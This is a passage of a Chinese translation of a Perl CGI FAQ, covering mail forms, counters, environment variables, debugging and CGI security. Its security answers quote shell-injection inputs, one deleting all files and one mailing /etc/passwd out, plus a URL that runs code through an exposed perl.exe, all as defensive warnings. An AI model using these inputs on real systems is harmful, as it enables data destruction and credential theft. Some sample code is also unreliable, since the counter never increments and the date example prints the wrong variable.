Reply-To: $from
Subject: $subject
$message
End_of_Mail
有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以
``nobody''
这个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信
的时後)。加上 ``Reply-To'' 的信头这个问题便解决了。
网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:
【译者】gateway 在此指送 email 的 CGI 程式
open MAIL, "| mail -s 'Subject' $to";
^
|
+--
可能会出问题的漏洞!!!
如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号
(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user
输入了以下
的资料:
; rm -fr / ;
那麽您的麻烦可大了*。
【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。
另一个危险的符号是 ``&''。
在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得
视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权
限使用者身份跑的原因)。至少那些由 CGI 程式制造出来,但又没
有备份的档案,是真的要跟它们永别了。
; mail [email protected] </etc/passwd
那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一
个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装
shadow-password 的 UNIX 系统来说,实在不太好玩。如果 server
错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为
远方的 cracker 甚至可以让这个 CGI 的 email script 给他送
/etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。
----------------------------------------------------------------------
Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用
`` URL'',这样 user 填入的资料就可以寄给我了?
很不幸地,
的指令并不是所有的浏览器都支援。如果您在档案中用了它
的话,会限制了那些使用没有支援 的浏览器的人,让他们无法送
mail 给您*。
【译者】尽管如此,您或许不会在乎那占极少数比例的使用者
(Netscape 、 IE,和 lynx 等浏览器都支援 )。
----------------------------------------------------------------------
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、
Windows 及 NT?我的 Perl CGI
程式能不能在这些平台之间互相移植呢?能不
能很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在
Windows/Mac
上做。我要如何在我自己的机器上测试写好的 CGI scripts*?
Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI
程式照理应不
难移植。但如果您使用到一些 UNIX
上的程式,那麽您的程式可能会不好移
植。如果您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有
问题。
【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等
非 UNIX 平台上测式您的 scripts ,您可以使用 CGI.pm (支援以
上所有平台),配合 Q4.19 中提示的除错技巧,或在自己的机器上
安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。
----------------------------------------------------------------------
Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN
(标准输入),
和 STDOUT (标准输出)各是连到何处?
在 CGI 环境下,STDERR 会指向 server 的错误讯息档 (error
log)。您可以
善加利用这个特性,把除错的讯息写到
STDERR,然後您便可藉查看错误讯息档
来帮您除错。
STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。
server
会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。
您也可以用将 STDERR 「复制」到 STDOUT
的方法来抓错误讯息。这应该在
script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後):
open STDERR, ">&STDOUT";
这会将所有的错误讯息都转送到 STDOUT (即浏览器)去。
----------------------------------------------------------------------
Q4.5: 如何写计数器?
计数器一类的程式相当流行。其实计数器的原理很简单,不过是:
o 用一个档案去储存资料。
o 每当有人光临网站,增大档案中所计的数字。
以下是一个简单的计数器的实例:
#!/usr/local/bin/perl -w
$counter = "/home/shishir/counter.dat";
print "Content-type: text/plain", "\n\n";
open(FILE, $counter) || die "Cannot read from the counter
file.\n";
flock FILE, 2;
$visitors = <FILE>;
flock FILE, 8;
close FILE;
open(FILE, ">$counter") || die "Cannot write to counter
file.\n";
flock FILE, 2;
print FILE $visitors;
flock FILE, 8;
close FILE;
现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)*
的方
式来显示该计数器:
【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日
期和时间,或计数器显示等,在客户请求一网页时即时加入该文件
中。支援 SSI 的 servers 包括了 NCSA
(<http://hoohoo.ncsa.uiuc.edu>)、Apache
(<http://www.apache.org/>),和Netscape Enterprise Server
(<http://home.netscape.com/comprod/server_central/product/enterprise/>)
等。 SSI 固然是一项便利的设计,但如过份滥用,不但会减低
server 性能,更可能招来安全上的危机。
您是第
<!--#exec cgi="/cgi-bin/counter.pl-->
位光临本站的客人。
----------------------------------------------------------------------
Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML
标签从一份文件中删除?
以下这个简单的 regular expression 可用来去除 HTML 标签*:
【译者】
1. 要让这个 regular expression 跨行执行,您必须先将您的
script 由预设的按行执行模式 (line mode) 改为按段执行模
式 (paragraph mode)。您可以在指令列以:
perl -00 -we '...'
的方式;或是在 script 中以:
#!/usr/bin/perl -00
或
$/ = "";
的方式来设定按段执行模式。
2. 除非您需要对欲删除的 HTML 标签中的内容做进一步的处理或
利用,否则本例中最外围的一对括弧可去掉。
$line =~ s/<(([^ >]|\n)*)>//g;
详细的相关资料,请看 Tom [Christiansen] 的 striphtml 程式
(<ftp://perl.com/perl/scripts/striphtml>),这个程式同时也收录在他的
tour of perl5 regexps
(<http://perl.com/perl/all_about/regexps.html>)
讲义中。
----------------------------------------------------------------------
Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式?
您可以从 HTTP_USER_AGENT 这个环境变数得知使用者所用的浏览器。
【摘自 WWW FAQ】
您的 CGI script
可以利用五个重要的环境变数来帮忙辨识使用者的身份。
* HTTP_FROM
这个环境变数理论上应设为使用者的email地址。但是许多浏览
器完全不加以设定【即不支援】,而大部份支援这个变数的浏览器又让使
用者自由设定这个值。因此,建议读者顶多拿它来做为 email form
中回
信地址的预设值。
* REMOTE_USER 这个变数唯有当 script
在安全认证的保护下执行时才会被
设定。从 AUTH_TYPE
这个变数可以知道所用的认证方法是属於哪一个类
型。REMOTE_USER
则会含有正接受认证的使用者的名字。要注意的是,
REMOTE_USER
只有在使用安全认证的时候才会被设定,而且不是所有的
servers 都支援。在 NCSA server
底下,如果认证所使用的传输方式没
有列入 access.conf 档中(也就是说,应使用 <Limit GET
POST>,而不是
仅仅用预设的 <Limit GET>),认证可能会出人意外地失败。
* REMOTE_IDENT 如果 server 能连接上客户端的 IDENT
server,它会将这
个变数设成远方使用者的身份。但由於向IDENT server
查询的动作太花
时间,大部份的 servers
都把这项功能关掉。更何况,客户端的机器是
否会回应查询,又是否会诚实以对,都是无法确定的。
* REMOTE_HOST
*
这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正
用来连线的机器名称,只要 server
能找得出来。由於我们无法确切得知
使用者的真实身份【请看前一个环境变数的说明】,有的时候使用可确认
的位址来替代,不失为一个可行的变通方法。在 server
查不到远端的机
器名称,或者是为增加 server
的处理速度而将这个查询功能关掉的情况
下,这个变数是空的;请看底下 REMOTE_ADDRESS
一项的说明。还有,别
忘了您可能会发现所有使用同一个 proxy (代理人) server
的使用者的
机器名都变成了那台 proxy server 的名字。
* REMOTE_ADDR
这个变数的设定值并不包括远端使用者的真实身份,但是会
提供使用者正用来连线的机器的资料。REMOTE_ADDR 会包含客户端的
IP
位址,以用点隔开的十进位数字的形式来表示。由於我们无法确切得知使
用者的真实身份
[请看前一个环境变数的说明],有的时候使用可确认的
位址来替代,不失为一个可行的变通方法。和前一项 REMOTE_HOST
不同
的是,这个变数一定会被设定。还有,别忘了您可能会发现所有使用同一
个 proxy (代理人) server 的使用者的机器位址都变成了那台
proxy
server 的位址。
【摘录自 WWW FAQ 部份完】
----------------------------------------------------------------------
Q4.8: 人家看得到我的 Perl CGI
程式吗?如果是这样的话,那不就让他们知道
我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来?
如果您将您的 server 设成对所有在一个特定目录(如
cgi-bin)下的档案,或
者是具有某些副档名(如 ``.pl''、``.tcl''、``.sh'')的档案一律都以
CGI
程式看待,那麽 server 只会执行这些程式。至於使用者是无法看到
script
本身的内容的。
但是如果您允许人们看您的 script (譬如把它放到 HTML
文件的根目录下),
那麽只要是这个程式没有安全上的漏洞,这并不能算是安全问题。如果这个程
式真的有安全上的破绽而您又允许使用者看这个程式,那麽他们便有机可乘,
进而利用这个弱点。
【译者】上面这段原文作者是就远方的客户端的使用者而言。和这个
主题相关的一 个常问问题是:
Q: 我的 Perl CGI scripts
必须将权限设为全世界可读。可是这样一
来,和我同
机器有帐户的人,只要知道我的程式名称,就可以浏览我
的 Perl 程式的内容;尤 其当其中牵涉到密码的问题时。
A: 至少有两个解决方法,一个简单,一个复杂:
简单的方法是,请您的系统管理者(如果不是您自己的话),将您的
CGI scripts 及密码档(如果您选择将密码存放在另一个档案中的
话)的所有者设成 Web server 跑的使用者(最常见的是使用者
nobody ;使用群 nogroup 或 nobody), 然後将 CGI scripts
的使
用权限设定成 550 (-r-xr-x---),密码档的权限设成 440
(-r--r-----)。如此一来,一方面您的程式得以执行,而且其他同机
器上的 使用者也没有办法偷看到您的程式和密码。
比较复杂的解决方法是先挑个难破的密码将整个程式加密起来,然後
再使用 Filter::decrypt 这个模组在临执行前将其解开,在此不多
说。有兴趣的读者请看 Filter::decrypt 的使用说明;此外新的
perl FAQ 第三部分中这一段:``How can I hide the source for
my
Perl program?'' ,大家也可参考。
----------------------------------------------------------------------
Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗?
不需要。您的 CGI scripts 可以使用 server
和文件根目录之外的任何档案,
除非 server 是在一个 chroot 的环境下执行。
----------------------------------------------------------------------
Q4.10:
我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有
一个 TYPE="password" 不是就是拿来做这个的吗?
No! form 的介面中有一个 ``password''
的栏位,但是您不应该拿它来处理任
何机密性的资料。不该这麽做的原因是因为所有的 form 资料(包括
``password'' 栏) 都是以纯文字形式,而非以加密形式由浏览器送至
server。
如果您想要安全地传送资料,那麽您需要使用具有安全功能的
server,例如
Netscape 的 Commerce Server
(<http://home.netscape.com/comprod/products/iapps/platform.html>)*。
【译者】Apache SSL ,例如 Stronghold 版
(<http://stronghold.c2.net>),同样具有这个功能。
----------------------------------------------------------------------
Q4.11: 我要如何产生专门替 Netscape
设计的网页,以别於世上其他的浏览
器?
您可以透过 HTTP_USER_AGENT 这个环境变数在您的 CGI script
中得知是否
Netscape 正在执行您的 script。以下为一例:
$browser = $ENV{'HTTP_USER_AGENT'};
if ($browser =~ /Mozilla/) {
#
# Netscape
#
} else {
#
# Non Netscape
#
}
----------------------------------------------------------------------
Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对?
这是由於标准输出的产生方式通常是先累积相当的资料再输出(buffered)。要
让输出的资料以正确的顺序显示,您必须藉由 $| 这个变数的设定将
buffering
的特性关掉。
----------------------------------------------------------------------
Q4.13: 我听说 Netscape 会支援 Java*。这是不是说我现在得弃
Perl,改
Java 了?是不是该这麽做?
【译者】原 FAQ 已有相当一段时间未更新。这句话现在应该改作
「Netscape 和 IE 两大浏览器都已支援 Java」。
不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server
端执行,而
Java则是在 client 端执行。有些东西(如动画)可藉由使用 Java
而得到较好
的效果。但您可继续使用 perl 来发展 server 端的应用程式。
如果您需要有关 Java 进一步的资料,底下列了几个文件您可以去看看*:
* 升阳公司的 Java 文件 (<http://java.sun.com>)
* Tom C.所写的 Java uber Alles(Java 的种种)
* Java, the Illusion(Java 幻像)
【译者】後面这两篇文章对 Java 及这个热潮作了很严厉的批判。本
FAQ 作者 Tom C. 的 Java uber Alles 中的论点主要著重於技术层
面。Tom 对 Java 的态度或许代表了不少 Perl 阵营人仕的心声。
----------------------------------------------------------------------
Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样?
您可以透过 %ENV 这个关连阵列来读取环境变数。以下这个简单的 script
会把
所有的环境变数印出来(排好顺序):
#!/usr/local/bin/perl -w
print "Content-type: text/plain", "\n\n";
foreach $key (sort keys %ENV) {
print $key, " = ", $ENV{$key}, "\n";
}
exit 0;
很不幸的,有些环境变数会被某些浏览器忽略掉。譬如,有些浏览器就不设定
HTTP_REFERER。
----------------------------------------------------------------------
Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)?
如果您送的 MIME 类型是 HTML 的话,您必须「跳脱」 (escape)
某些符号,
如 ``<''、``&anp;'',及 ``>'',否则浏览器会以为它是 HTML
【标签】。
您必须使用以下格式来跳脱特殊字元:
&#ASCII 代码;
您可以在指令列执行这个简单的 script,便可得到非字母数字性字元
(non
alpha-numeric characters) 所对应的 ASCII 码:
#!/usr/local/bin/perl -w
print '请输入字串: ';
chop($string = <STDIN>);
$string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge;
print '跳脱过的字串是: ', "$string\n";
exit 0;
----------------------------------------------------------------------
Q4.16: 为什麽我的Perl CGI
程式可以由指令列,却无法从浏览器去执行?
最可能的原因是权限的问题。别忘了,您的 server 可能是以
``nobody''、
``www'',或其他权限很低的帐户身份来执行的。因此,除非它有足够的权限,
否则是无法执行您的 script 的。
----------------------------------------------------------------------
Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中?
这又是权限在作怪!server
除非有足够的权限否则是无法将资料写进某目录下
的某档案里去的。
您应该养成习惯检查 open 指令递回的错误状态 (error status):
print "Content-type: text/plain\n\n";
.
.
.
open(FILE, ">/some/dir/some.file") ||
print '无法写进档案: ', "$!\n";
.
.
.
----------------------------------------------------------------------
Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的
form?
您可以用 CGI::MiniSvr 这个 module
来维持【记住】几次不同的连线之间的状
态资料。
或者,您可以制做一系列的动态文件,在彼此之间相互传递一个期间代码
(session ID),此代码可以以询问
(query)、额外路径,或隐藏式栏位等形式存
在*。
【译者】CGI.pm 会替您把这部份(维持状态)做好 (用上述的原理
),故使用 CGI.pm 可自动享受这项功能,不需要自己去做。这又多
了一个该使用 CGI.pm 的理由。
----------------------------------------------------------------------
Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错?
CGI 程式不容易除错。您可以藉著手动设定环境变数来模拟 server:
setenv HTTP_USER_AGENT "Mozilla/2.0b6" (csh)
或
export HTTP_USER_AGENT = "Mozilla/2.0b6" (ksh, bash)
要模拟 POST 请求,您可以把资料先放进一个档案里,然後把它 pipe
到您的程
式去:
cat data.file | some_program.pl
或者您可以用 CGI.pm 来帮您除错。假设您有一个像下面这样的
script,它会
把所有您传给它的索引/设定值对应资料 (key/value pairs)
都列印出来。
#!/usr/local/bin/perl -w
use CGI;
$cgi = new CGI;
print $cgi->header;
print $cgi->start_html("Simple CGI.pm Program");
print "<H1>Simple CGI.pm Program</H1>\n";
print "<HR >";
print '以下所列的是您传送的设定值:';
print $cgi->dump;
exit 0;
这个 script 不会在乎您是透过 GET、POST,或 ISINDEX
请求,或者是由指令
列、标准输入,或文字档将资料传送给它。为了方便除错,我们就直接从指令
列传一些资料给它吧:
% simple.cgi first=shishir last=gundavaram document='CGI\
FAQ'
或
% simple.cgi "first=shishir&last=gundavaram&document='CGI\
FAQ'"
在第二个例子中,整个字串周围必须加引号("),否则 shell 看到 ``&''
这个
符号会误解。好,接下来是从标准输入来除错的方法:
% simple.cgi
(waiting for standard input)
first=shishir
last=gundavaram
document=CGI\ FAQ
^D
当然,您也可以先用一个档案来储存资料,然後再做输入转向,像这样:
% simple.cgi < form.data
您也可以用 CGI Lint
(即将出版)。它能达到相同的功效。另外,它也能帮忙
检查有无安全问题,不当使用 open(),以及不正确的 HTTP 标头等。
----------------------------------------------------------------------
Q4.20: 如果不靠<FORM>标签,要如何叫出 Perl CGI 程式?
您可以直接去打开该 CGI 程式的 URL:
http://some.machine/cgi-bin/your_program.pl
您也可以在文件中使用连结的方式,例如:
<A HREF="">http://some.machine/cgi-bin/your_program.pl">
要试试我的CGI程式请在这里点一下</A>
----------------------------------------------------------------------
Q4.21: 要如何避免旁人不先填栏位就执行我的
form?他们为什麽一直不断这麽
做?
这些人栏位完全空白就去执行 form 是因为他们把这个 form 的 URL
储存起来
【储存到书签里面】的关系。当他们下次叫出这个 form
的时候,这个请求就会
变成是一个空的 GET (而非 POST 或填有资料的 GET)。
您可以先检查所有栏位中的资料,如果其中有栏位留白的话,您可以送回一个
``No Content'' 的状态属性*。以下是一例(假设关连阵列 %form
中含有您
form 的资料):
【译者】状态码 204 的属性已由 HTTP 0.9
(<http://www.w3.org/pub/WWW/Protocols/HTTP/HTTP2.html>) 的
``No Response'' 变为 HTTP 1.0
(<ftp://ds.internic.net/rfc/rfc1945.txt>) 和 HTTP 1.1
(<ftp://ds.internic.net/rfc/rfc2068.txt>) 中的 ``No
Content'' 了。
$error = 0;
foreach $value (values %form) {
$value =~ s/\s//g;
$error = 1 unless $value;
}
if ($error) {
print "Content-type: text/plain\n";
print "Status: 204 No Content\n\n";
print '除非您的浏览器不支援状态码 204
,否则您不该看到这部份',
"\n";
} else {
#
# Process Data Here
#
}
----------------------------------------------------------------------
Q4.22: 那些server 回应码 (server response codes)
(<http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTRESP.html>)是干什麽
用的?有什麽意义?
CGI 程式可以传送 server 然後 server
会把它转送给浏览器。例如:假设您
想送``No Content''
(意思是告诉浏览器不要再重新下载该网页),那麽您得
送一个 204 的回应码(见上例)。
----------------------------------------------------------------------
Q4.23: 为什麽 print "Location: http://host/page.html\n" 不
work?又为
什麽它只 work 一次,但随後的转向就都弄错了呢?
CGI 程式只能送一个 Location 标头。还有,如果您要 server
做转向的动作
您就不该送 MIME 类别。譬如,以下的例子是错误的示范,尽管在有些
servers
上行的通:
#!/usr/local/bin/perl -w
.
.
.
print "Content-type: text/plain\n"
print "Location: http://some.machine/some.doc\n\n"";
----------------------------------------------------------------------
Q4.24: 要如何让 server 在每个 HTML
网页的底部都自动加上一个:「最近更
新日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI
程式
的日期要如何取得?
如果您是透过 CGI
以动态方式来产生您的文件,那麽要插入一个时间标记非常
简单。以下是一例(仅适用於 Perl 5):
$last_updated = localtime;
print '最近更新日期: ',"$last_updated\n";
或者是:
require "ctime.pl";
$last_updated = &ctime(time);
print '最近更新日期: ', "$last_updated\n";
甚至像这样:
chop($date = `/usr/local/bin/date`);
print '最近更新日期: ', "$last_updated\n";
您可以用 SSI 来达到这个效果,像这样:
<--#echo var="LAST_MODIFIED"-->
----------------------------------------------------------------------
Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用
shell
就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++
做这类的事不
是好得多吗?那用 C 呢?
每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要
做的是什麽而定。如果您预期正准备写的 CGI
程式每个钟头会有几千几万人次
连去使用,那麽您应该选用 C 或
C++来写。如果您求快的话(指发展所花费的
时间而言),那麽 Perl 是正确的选择!
一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为
shell 在
先天上容易产生安全问题。
----------------------------------------------------------------------
5.0 -安全
----------------------------------------------------------------------
Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C
写的来得安全?
这个问题的答案是: CGI
程式先天上就不安全,不管它是用那个语言写成的*。
【译者□
WWW 及 CGI 操作安全 FAQ
(<)">http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html">)
中问题第 31 对此有深入的探讨。
----------------------------------------------------------------------
Q5.2:我该特别留意哪些安全事项?
绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏洞:
* open(COMMAND, "/usr/ucb/finger $form_user");
* system("/usr/ucb/finger $form_user");
* @data = `usr/ucb/finger $form_user`;
话虽如此,在上面的第二种写法中,系统安全可藉著改变参数传送的方式而得以
改善。也就是将参数由字串方式传送(shell
会先解译),改为序列方式传
送。
system("/usr/ucb/finger", $form_user);
您同时应该阅读:
* 由 Lincoln Stein 所著,一份很完整的 WWW 及 CGI 操作安全 FAQ
(<http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html>)
* Paul Phillips 所著,CGI 安全 FAQ
(<http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt>)
----------------------------------------------------------------------
Q5.3:为什麽大家都说
http://bigidiot.abuse-me.com/perl.exe?foo.pl
这样很危险?会有多糟?
极度危险!想想看如果我这麽做会发生什麽事:
http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
现在您同意了吧?避免这个恶梦发生的方法:
* 将 perl.exe 执行档由 ``cgi-bin'' 移到 server
根目录以外的目录里
去。
* 在 ``cgi-bin'' 里用批次档 (batch) script 来叫出您的 CGI
script。
以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档叫
``simple.bat'':
@echo off
c:\dos_perl\perl.exe
c:\netscape\ns-home\docs\cgi-bin\simple.pl
现在,您可以做:
<A HREF="/cgi-bin/simple.bat">Click Here</A>
----------------------------------------------------------------------
Q5.4:要如何在程式中安全地使用逆向撇号(backticks,"`",位於键盘左上
角)?这麽做:
@ans = `grep'$user_field' some.file`;
是不是真的不安全?
是的!这非常危险!试想,如果 $user_field 含有这样的内容会有什麽後
果:
; rm -fr / ;
要达到相同的效果,一个比较安全的做法是*:
if (open GREP, "-|") {
@ans = <GREP>;
} else {
exec("/usr/local/bin/grep", $user_field, "some.file")
|| die "Error exec'ing command", "\n";
}
close GREP;
【译者】如果读者对以上 open GREP, "-|"部份的句法有疑问,可
以参阅 perlipc manpages 中 Safe Pipe Opens一节的说明。
----------------------------------------------------------------------
Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞?
不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime)
去评估
这个叙述,那麽,它会变成一个安全死角。例如这种做法可能很危险:
foreach $regexp (@all_regexps) {
eval "foreach (\@data) { push(\@matches, \$_) if
m|$regexp|o; }";
}
----------------------------------------------------------------------